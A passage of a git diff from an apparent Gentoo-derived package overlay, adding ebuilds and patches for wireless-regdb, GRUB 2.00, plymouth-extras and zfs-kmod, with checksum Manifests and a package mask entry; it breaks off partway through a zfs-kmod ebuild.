diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
new file mode 100644
index 00000000..6b5e521b
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090130-r1.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+#RDEPEND="${DEPEND}" It doesn't actually have runtime deps afaik
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor.patch
+ emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+ emake key.priv.pem || die "make key.priv.pem failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
new file mode 100644
index 00000000..e5b84e8a
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090309.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-debug.patch
+ emake maintainer-clean || die "make maintainer-clean failed"
+}
+
+src_compile() {
+ emake key.priv.pem || die "make key.priv.pem failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
new file mode 100644
index 00000000..867166e0
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20090817.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/lib/crda/
+ doins regulatory.bin
+ doins custom-distro.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
new file mode 100644
index 00000000..c8060c71
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/crda/
+ doins regulatory.bin
+ doins *.key.pub.pem
+}
diff --git a/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
new file mode 100644
index 00000000..9d8166d6
--- /dev/null
+++ b/net-wireless/wireless-regdb/wireless-regdb-20091125.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/wireless-regdb/wireless-regdb-20090130.ebuild,v 1.1 2009/02/02 18:42:21 chainsaw Exp $
+
+MY_P="wireless-regdb-${PV:0:4}.${PV:4:2}.${PV:6:2}"
+DESCRIPTION="Binary regulatory database for CRDA"
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/wireless-regdb/${MY_P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+inherit eutils
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+ dev-lang/python
+ dev-python/m2crypto"
+
+S="${WORKDIR}/${MY_P}"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}"/extra-monitor-${PV}.patch
+}
+
+#TODO: add pentoo use flag to not patch the regdb, maybe adjust deps
+
+src_compile() {
+ emake install-distro-key || die "make install-distro-key failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/crda/
+ doins regulatory.bin
+ doins custom-distro.key.pub.pem
+}
diff --git a/profiles/package.mask b/profiles/package.mask
new file mode 100644
index 00000000..c73a4942
--- /dev/null
+++ b/profiles/package.mask
@@ -0,0 +1,6 @@
+# holgersson <holgersson@posteo.de> (2 Jun 2014)
+# Masked blight due to build errors.
+# -> seems to be something with FEATURES and that fetch in src_prepare()
+=net-im/blight-9999
+
+
diff --git a/sets/fluxbox b/sets/fluxbox
index 0d7b6b69..fb7a4b8e 100644
--- a/sets/fluxbox
+++ b/sets/fluxbox
@@ -1,3 +1,3 @@
@X
x11-wm/fluxbox
-media-gfx/feh
+#media-gfx/feh
diff --git a/sys-boot/grub/files/101-freetype2_fix_mkfont.patch b/sys-boot/grub/files/101-freetype2_fix_mkfont.patch
new file mode 100644
index 00000000..fc9f146d
--- /dev/null
+++ b/sys-boot/grub/files/101-freetype2_fix_mkfont.patch
@@ -0,0 +1,11 @@
+--- a/util/grub-mkfont.c
++++ b/util/grub-mkfont.c
+@@ -39,7 +39,7 @@
+ #include FT_FREETYPE_H
+ #include FT_TRUETYPE_TAGS_H
+ #include FT_TRUETYPE_TABLES_H
+-#include <freetype/ftsynth.h>
++#include FT_SYNTHESIS_H
+
+ #undef __FTERRORS_H__
+ #define FT_ERROR_START_LIST const char *ft_errmsgs[] = {
diff --git a/sys-boot/grub/files/grub-2.00-fix-locale-en.mo.gz-not-found-error-message.patch b/sys-boot/grub/files/grub-2.00-fix-locale-en.mo.gz-not-found-error-message.patch
new file mode 100644
index 00000000..0e20f8a1
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-fix-locale-en.mo.gz-not-found-error-message.patch
@@ -0,0 +1,38 @@
+From e7500166b343874447e6abf385a791998c77f4c4 Mon Sep 17 00:00:00 2001
+From: Michael Chang <mchang@suse.com>
+Date: Wed, 26 Sep 2012 15:55:44 +0800
+Subject: [PATCH] Silence error messages when translations are unavailable
+
+From: Colin Watson <cjwatson@ubuntu.com>
+
+References: bnc#771393
+ https://savannah.gnu.org/bugs/?35880
+Patch-Mainline: no
+
+Signed-off-by: Michael Chang <mchang@suse.com>
+---
+ grub-core/gettext/gettext.c | 8 ++++++++
+ 1 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/grub-core/gettext/gettext.c b/grub-core/gettext/gettext.c
+index 569f985..eb4bb5d 100644
+--- a/grub-core/gettext/gettext.c
++++ b/grub-core/gettext/gettext.c
+@@ -412,6 +412,14 @@ grub_gettext_init_ext (struct grub_gettext_context *ctx,
+
+ grub_free (lang);
+ }
++
++ /* If no translations are available, fall back to untranslated text. */
++ if (err == GRUB_ERR_FILE_NOT_FOUND)
++ {
++ grub_errno = GRUB_ERR_NONE;
++ return 0;
++ }
++
+ return err;
+ }
+
+--
+1.7.3.4
+
diff --git a/sys-boot/grub/grub-2.00-r7.ebuild b/sys-boot/grub/grub-2.00-r7.ebuild
new file mode 100644
index 00000000..afb1fba6
--- /dev/null
+++ b/sys-boot/grub/grub-2.00-r7.ebuild
@@ -0,0 +1,288 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+AUTOTOOLS_AUTO_DEPEND=yes
+
+inherit autotools-utils bash-completion-r1 eutils flag-o-matic multibuild pax-utils toolchain-funcs
+
+if [[ ${PV} != 9999 ]]; then
+ MY_P=${P/_/\~}
+ if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
+ SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+ else
+ SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+ mirror://gentoo/${MY_P}.tar.xz"
+ fi
+ KEYWORDS="~amd64 ~x86"
+ S=${WORKDIR}/${MY_P}
+ PATCHES=(
+ "${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+ # vga= not yet deprecated for us
+ "${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+ "${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+ # Genkernel doesn't support "single" for rescue mode
+ # but rather init_opts=single
+ "${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+ # Down with SecureBoot
+ "${FILESDIR}"/${PN}-2.00-secureboot-user-sign-2.patch
+
+ "${FILESDIR}/${P}-parallel-make.patch" #424231
+ "${FILESDIR}/${P}-no-gets.patch" #424703
+ "${FILESDIR}/${P}-config-quoting.patch" #426364
+ "${FILESDIR}/${P}-tftp-endian.patch" # 438612
+ "${FILESDIR}/${P}-hardcoded-awk.patch" #424137
+ "${FILESDIR}/${P}-freebsd.patch" #442050
+ "${FILESDIR}/${P}-compression.patch" #424527
+ "${FILESDIR}/${P}-zfs-feature-flag-support-r1.patch" #455358
+ "${FILESDIR}/${P}-20_linux_xen.patch" #463992
+ "${FILESDIR}/${P}-dmraid.patch" #430748
+ "${FILESDIR}/${P}-texinfo.patch"
+ "${FILESDIR}/${P}-os-prober-efi-system.patch" #477314
+ "${FILESDIR}/${P}-fix-locale-en.mo.gz-not-found-error-message.patch" #408599
+ "${FILESDIR}/101-freetype2_fix_mkfont.patch"
+ )
+else
+ inherit bzr
+ EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+fi
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount +multislot nls static sdl test truetype libzfs"
+
+GRUB_ALL_PLATFORMS=(
+ # everywhere:
+ emu
+ # mips only:
+ qemu-mips yeeloong
+ # amd64, x86, ppc, ppc64:
+ ieee1275
+ # amd64, x86:
+ coreboot multiboot efi-32 pc qemu
+ # amd64, ia64:
+ efi-64
+)
+IUSE+=" ${GRUB_ALL_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )
+ grub_platforms_yeeloong? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+# sbsigntool is Sabayon and Kogaion specific
+RDEPEND="
+ app-crypt/sbsigntool
+ x11-themes/rogentos-artwork-grub
+ app-arch/xz-utils
+ >=sys-libs/ncurses-5.2-r5
+ debug? (
+ sdl? ( media-libs/libsdl )
+ )
+ device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+ libzfs? ( sys-fs/zfs )
+ mount? ( sys-fs/fuse )
+ truetype? (
+ media-libs/freetype
+ media-fonts/dejavu
+ >=media-fonts/unifont-5
+ )
+ ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+ ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+ app-misc/pax-utils
+ >=dev-lang/python-2.5.2
+ sys-devel/flex
+ sys-devel/bison
+ sys-apps/help2man
+ sys-apps/texinfo
+ >=sys-devel/autogen-5.10
+ static? (
+ truetype? (
+ app-arch/bzip2[static-libs(+)]
+ media-libs/freetype[static-libs(+)]
+ sys-libs/zlib[static-libs(+)]
+ )
+ )
+ test? (
+ dev-libs/libisoburn
+ app-emulation/qemu
+ )
+"
+RDEPEND+="
+ kernel_linux? (
+ grub_platforms_efi-32? ( sys-boot/efibootmgr )
+ grub_platforms_efi-64? ( sys-boot/efibootmgr )
+ )
+ !multislot? ( !sys-boot/grub:0 )
+"
+
+STRIP_MASK="*/grub/*/*.{mod,img}"
+RESTRICT="test"
+
+QA_EXECSTACK="
+ usr/bin/grub*
+ usr/sbin/grub*
+ usr/lib*/grub/*/*.mod
+ usr/lib*/grub/*/*.module
+ usr/lib*/grub/*/kernel.exec
+ usr/lib*/grub/*/kernel.img
+"
+
+QA_WX_LOAD="
+ usr/lib*/grub/*/kernel.exec
+ usr/lib*/grub/*/kernel.img
+ usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+ usr/lib.*/grub/.*/kernel.img
+"
+
+pkg_pretend() {
+ if [[ ${MERGE_TYPE} != binary ]]; then
+ # Bug 439082
+ if $(tc-getLD) --version | grep -q "GNU gold"; then
+ eerror "GRUB does not function correctly when built with the gold linker."
+ eerror "Please select the bfd linker with binutils-config."
+ die "GNU gold detected"
+ fi
+ fi
+}
+
+src_prepare() {
+ [[ ${PATCHES} ]] && epatch "${PATCHES[@]}"
+ sed -i -e /autoreconf/d autogen.sh || die
+ if use multislot; then
+ # fix texinfo file name, bug 416035
+ sed -i -e 's/^\* GRUB:/* GRUB2:/' -e 's/(grub)/(grub2)/' docs/grub.texi || die
+ fi
+ epatch_user
+ bash autogen.sh || die
+ autopoint() { return 0; }
+ eautoreconf
+}
+
+grub_configure() {
+ local platform
+
+ case ${MULTIBUILD_VARIANT} in
+ efi-32)
+ platform=efi
+ if [[ ${CTARGET:-${CHOST}} == x86_64* ]]; then
+ local CTARGET=${CTARGET:-i386}
+ fi ;;
+ efi-64)
+ platform=efi
+ if [[ ${CTARGET:-${CHOST}} == i?86* ]]; then
+ local CTARGET=${CTARGET:-x86_64}
+ local TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
+ local TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+ export TARGET_CFLAGS TARGET_CPPFLAGS
+ fi ;;
+ guessed) ;;
+ *) platform=${MULTIBUILD_VARIANT} ;;
+ esac
+
+ # Kogaion: backward compatibility, do not change --with-grubdir
+ local myeconfargs=(
+ --disable-werror
+ --program-prefix=
+ --program-transform-name="s,grub,grub2,"
+ --libdir="${EPREFIX}"/usr/lib
+ --htmldir="${EPREFIX}"/usr/share/doc/${PF}/html
+ $(use_enable debug mm-debug)
+ $(use_enable debug grub-emu-usb)
+ $(use_enable mount grub-mount)
+ $(use_enable nls)
+ $(use_enable truetype grub-mkfont)
+ $(use_enable libzfs)
+ $(use sdl && use_enable debug grub-emu-sdl)
+ ${platform:+--with-platform=}${platform}
+
+ # Let configure detect this where supported
+ $(usex efiemu '' --disable-efiemu)
+ )
+
+ # Kogaion: keep --with-grubdir=grub to grub for backward compatibility
+ if use multislot; then
+ myeconfargs+=(
+ --program-transform-name="s,grub,grub2,"
+ --with-grubdir=grub
+ )
+ fi
+
+ autotools-utils_src_configure
+}
+
+src_configure() {
+ use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+ use static && append-ldflags -static
+
+ tc-export CC NM OBJCOPY STRIP
+ export TARGET_CC=${TARGET_CC:-${CC}}
+
+ # Portage will take care of cleaning up GRUB_PLATFORMS
+ MULTIBUILD_VARIANTS=( ${GRUB_PLATFORMS:-guessed} )
+ multibuild_parallel_foreach_variant grub_configure
+}
+
+src_compile() {
+ # Sandbox bug 404013.
+ use libzfs && addpredict /etc/dfs:/dev/zfs
+
+ multibuild_foreach_variant autotools-utils_src_compile
+
+ use doc && multibuild_for_best_variant \
+ autotools-utils_src_compile -C docs html
+}
+
+src_test() {
+ # The qemu dependency is a bit complex.
+ # You will need to adjust QEMU_SOFTMMU_TARGETS to match the cpu/platform.
+ multibuild_foreach_variant autotools-utils_src_test
+}
+
+src_install() {
+ multibuild_foreach_variant autotools-utils_src_install \
+ bashcompletiondir="$(get_bashcompdir)"
+
+ use doc && multibuild_for_best_variant run_in_build_dir \
+ emake -C docs DESTDIR="${D}" install-html
+
+ # Install fonts setup hook
+ exeinto /etc/grub.d
+ doexe "${FILESDIR}/00_fonts"
+
+ if use multislot; then
+ mv "${ED%/}"/usr/share/info/grub{,2}.info || die
+ fi
+
+ insinto /etc/default
+ newins "${FILESDIR}"/grub.default-2 grub
+
+ # Backward compatibility with Grub 1.99 executables
+ dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+ dosym /usr/sbin/grub2-install /sbin/grub2-install
+
+ cd "${ED}" || die
+ pax-mark mpes $(scanelf -BF %F usr/{bin,sbin})
+}
+
+pkg_postinst() {
+ elog "For information on how to configure grub-2 please refer to the guide:"
+ elog " http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+ if [[ -z ${REPLACING_VERSIONS} ]]; then
+ if ! has_version sys-boot/os-prober; then
+ elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+ fi
+ if ! has_version dev-libs/libisoburn; then
+ elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+ fi
+ fi
+}
diff --git a/sys-boot/plymouth-extras/Manifest b/sys-boot/plymouth-extras/Manifest
index e1703677..e9eb462d 100644
--- a/sys-boot/plymouth-extras/Manifest
+++ b/sys-boot/plymouth-extras/Manifest
@@ -1,2 +1 @@
DIST plymouth-0.8.8.tar.bz2 1143549 SHA256 1bada4e1d3a31a5a99adc2db83f5452d9818839cda51a6e430f044f6281d759b SHA512 97a20a8622c7ea51000e9b6d88a25fd84d7001fb2727527a72344b555f389c74954bd0be0bffd9cc9175b5c5a0d28e95af058fce79ec7531f736619ee74d8d94 WHIRLPOOL badb44a6c1eb004772e67cfe3cda601d22590d813ebd4bce5f0fcb325c445246916ba30e083c6aa98b73b460ddf4f2caf9bf2727d22bbbc5414f11a5cf0e5ddf
-EBUILD plymouth-extras-0.8.8-r1.ebuild 1283 SHA256 75dd4d5dc0d285858ccb4350f5196dfa0e870143c7c8832d6b313ab1c0d56c57 SHA512 3f592bad9d34cb7caa8c3c08f3d65401c2e319287317d0d01b98cda86de8e381ea83eb378d55d81e0f96f00742594febeea6052371197f7ac0123926f5f11500 WHIRLPOOL efa11ff6d80af3d67d45a643db19596d6ee6f95f1ddf2590ce6a54a99a461dcd7e0d026e98374da7a2d03344f3566bb191603d5a274016ebc4049dce37a208d5
diff --git a/sys-boot/plymouth-extras/plymouth-extras-0.8.9_pre1.ebuild b/sys-boot/plymouth-extras/plymouth-extras-0.8.9_pre1.ebuild
new file mode 100644
index 00000000..e45b9b58
--- /dev/null
+++ b/sys-boot/plymouth-extras/plymouth-extras-0.8.9_pre1.ebuild
@@ -0,0 +1,53 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+EGIT_REPO_URI="git://anongit.freedesktop.org/plymouth"
+EGIT_COMMIT="37d2e400d25e6b4716d77d26fb7d40de8a8c1a8a"
+AUTOTOOLS_AUTORECONF="true"
+
+inherit autotools-utils systemd toolchain-funcs git-2
+
+DESCRIPTION="X11 and Label plugins for Plymouth"
+HOMEPAGE="http://cgit.freedesktop.org/plymouth/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="debug static-libs"
+
+CDEPEND=">=media-libs/libpng-1.2.16
+ dev-libs/glib
+ >=x11-libs/gtk+-2.12:2
+ >=x11-libs/pango-1.21
+ ~sys-boot/plymouth-${PV}[-gtk,-pango,debug=]"
+DEPEND="${CDEPEND}
+ virtual/pkgconfig
+ "
+RDEPEND="${CDEPEND}"
+
+S="${WORKDIR}/${P/-extras}"
+
+src_configure() {
+ local myeconfargs=(
+ --with-system-root-install
+ --localstatedir=/var
+ --enable-gtk
+ --enable-pango
+ $(use_enable debug tracing)
+ )
+ autotools-utils_src_configure
+}
+
+src_install() {
+ local build_dir="${BUILD_DIR}"
+
+ # Build the x11 plugin
+ BUILD_DIR="${build_dir}/src/plugins/renderers/x11" autotools-utils_src_install
+
+ # Build the label plugin
+ BUILD_DIR="${build_dir}/src/plugins/controls/label" autotools-utils_src_install
+}
diff --git a/sys-fs/zfs-kmod/Manifest b/sys-fs/zfs-kmod/Manifest
new file mode 100644
index 00000000..ab2ea10c
--- /dev/null
+++ b/sys-fs/zfs-kmod/Manifest
@@ -0,0 +1,10 @@
+DIST spl-0.6.2-p0.tar.xz 3740 SHA256 e07570e0141d0563f38c0eb48c2a43432720f03e805ed0bbc16b657826f8f0fb SHA512 512690cbde850e57b25bdff633efb33838d08591c1923cf8e01d15e0b84e7730fc12f7d64dc39c90d1a6d74e8e344065b86465d2d7651ed4974baa5c99aecca8 WHIRLPOOL 10944742881f92d041f7ed3054cf6a22373919a6a469b2ef6c4e83772c8197139339b8994f4bcbd449b4f33e629854a51240f6dad77bc5e690b76b9f7acac0ba
+DIST spl-0.6.2-p1.tar.xz 6552 SHA256 1784bccdd889dc7e2caa0b37a57d98d3db1b451043238b8c3b8af5da4bd84964 SHA512 12ae76e28a8fbf2d7051049be8a9226230a85b7cf8126839b3c285d7af01a7e4a12dbad33c94ed1edd2cbd9fa0392e9df499522f356dc1329579e76debeb7099 WHIRLPOOL 7c04bc7ae60f830b8c44ea2472a006a5cd81c8e0c3cafbf919f5d6e8088498362ea60c44c93b63af32e54c56b958e9edb35e8c37192efb6189d0da9d280f4e1c
+DIST spl-0.6.2-p4.tar.xz 9076 SHA256 8b434bb53da79c5adb5339b36bddf4d19c4e8d5df7a8a5d2a4ca1bcf7336094e SHA512 77ca1ce0235edb85cf36243ad45710ee8759dcc49bacddc661a986d558eb9cd92671ce256c88287e056732882a038b12bb0d9ae131229819702a06de18c50bc1 WHIRLPOOL afc335ba0a7d24a610f272e6a65460326b91ab91652bf66525e14110a811b2490de65847560989f793aab8d473794c56836e438cb7f1e19d4e253373178f0a72
+DIST spl-0.6.2.tar.gz 215032 SHA256 a8147eaba030ca71bf8c47b46a2c7ae92f9b4ef60aa8ccfa7368f395faeb85ac SHA512 ef5b77046259ec754e0a41f90b51c27207bf91e832d54a8502232b19cfaff711de301f24945ca739faeac2544b3ef22a57f58cf6298d756a1ebaff06f765b8a9 WHIRLPOOL ab7229691a6f56ab3f98513fd0e32048c11dd7cf3ea61e438bac2d97ebd8cd92eeeb422ef1c4e639572feb3e8f69c0840b861f654ca31de481601ef54295be37
+DIST spl-0.6.3.tar.gz 221430 SHA256 5d60dfbe86a50e65dbce17f538d8d0874a0cc293374f59eed46cd2dd1809a944 SHA512 c4b82f1e279c7581d0082c044157e8a933edf53233c8c7c8202117454cfda0473ab85fbb56ac0b6da09a4d6798e33020a9c55bf23e25d630efa3265545c3defc WHIRLPOOL eaf001a96a80264e16ce416da38b988eabbfd2fce17690151a496a3141c32e92e5d00791e2d9c009ae0cf6910f80434c10f02a700752fc664f6bf6723bb03dba
+DIST zfs-0.6.2.tar.gz 1558656 SHA256 91b844bf7a42df22d7533e8004289270b7859b8fcbca3bff8087a79b131318b4 SHA512 008f9decdea3e92f6d74f5369ec9df5776b15efbb9f2bc01012999b71e1f2bc5b46b310a329b60545907dcc78773ec79eb6d21aca49d911f33299fd0a36e1a4b WHIRLPOOL 587279866b6ffa2bfebc91f00cb28de85f7f186426a0292f44c6cde7ca3a51c1911fc0ee431c25c3ee0866174522f90ce04b54de4aa3dc0829ba3a719e47af58
+DIST zfs-0.6.3.tar.gz 1665270 SHA256 00caeae63cc724d3dd741aeb36fd2dc03d2158794bd6a5e925cdc8d7e5d3da8c SHA512 8c7741f5f227eb031d79fe87bf7d60e790a098fa6caede462d556c97d798832f97f5a377cbb74fc99b8d198e5f3cc1a3491f69fcdaa0408933dbadd132013416 WHIRLPOOL db9791da12c441c89667b194154b209f5aa69ea46d5327cfcde0b3a910cf1f0e5ca448909824e45b31252a1907280b711fb6ba04eb313d09de0ffbf5e6e304fe
+DIST zfs-kmod-0.6.2-p1.tar.xz 15988 SHA256 0d5ee6d53f6ba694937a9c1f009a0c18519e56cfcd328e5a42a0486f967608e5 SHA512 77b4f167073fa1be2501889f6795972a370c90b58dca121c95c38d98b37fa092ad043e5ab447e677f2207da7119b9fd2c940990bec83118edf18daff2eccaa16 WHIRLPOOL 730347f5d6c7449f309f6b53cdbcbb77b94c35385cebdb5a953f851f01d26c87d615b8ef673a7346f8351e01237833e18ed2fc7cca78bb200e7537222b3e46e2
+DIST zfs-kmod-0.6.2-p2.tar.xz 28636 SHA256 12882463a38a5a57cf2bb3c14c5783f9511f6dc7b163a47575f2f3dcc24f26f6 SHA512 5792660ae8f5013d12e70d608e9cffa92a8c4089a88a5e78728ee88204b3f970d452d5b0b3874e02be49ebbc139e07139be7b5a86ca40bc8b23cb11a7198a9a8 WHIRLPOOL 0e4c57b363cdd3d736efbd1355567b18e22439bd3b20ef40b27f6b97ad4570c7cc99a11b196ac25359d1966c1a70e178f4fd1687b60450f148ccda47b07282a9
+DIST zfs-kmod-0.6.2-p4.tar.xz 63984 SHA256 9167edc4be86e3fcda6b3c198e51f92ab0c95ac5baca11666c28029a628cdac9 SHA512 13e4ec415c35d2f268d89565745f5898c0943423577a2ba6714b3a069c5a80f244cd06dff91464f38dd4ed60673d1145ead080bb03a56d4be33e328f948ffa64 WHIRLPOOL 8c399ec67119ed4fbebb5599d00f888918678bc4e4ea369b4bdc5c75bfc90fc76396087624c8011de370a54ff103bccaa8922d05ac7ccebb2b3481bbbcf44b19
diff --git a/sys-fs/zfs-kmod/metadata.xml b/sys-fs/zfs-kmod/metadata.xml
new file mode 100644
index 00000000..ea044906
--- /dev/null
+++ b/sys-fs/zfs-kmod/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>ryao@gentoo.org</email>
+ <name>Richard Yao</name>
+ </maintainer>
+ <use>
+ <flag name="rootfs">Install zfs-shutdown script to support exporting a pool containing rootfs</flag>
+ <flag name="debug-log">Enable additional diagnostics</flag>
+ </use>
+</pkgmetadata>
diff --git a/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r2.ebuild b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r2.ebuild
new file mode 100644
index 00000000..da663f76
--- /dev/null
+++ b/sys-fs/zfs-kmod/zfs-kmod-0.6.2-r2.ebuild
@@ -0,0 +1,187 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+AT_M4DIR="config"
+AUTOTOOLS_AUTORECONF="1"
+AUTOTOOLS_IN_SOURCE_BUILD="1"
+
+inherit bash-completion-r1 flag-o-matic linux-info linux-mod toolchain-funcs autotools-utils
+
+if [ ${PV} == "9999" ] ; then
+ inherit git-2
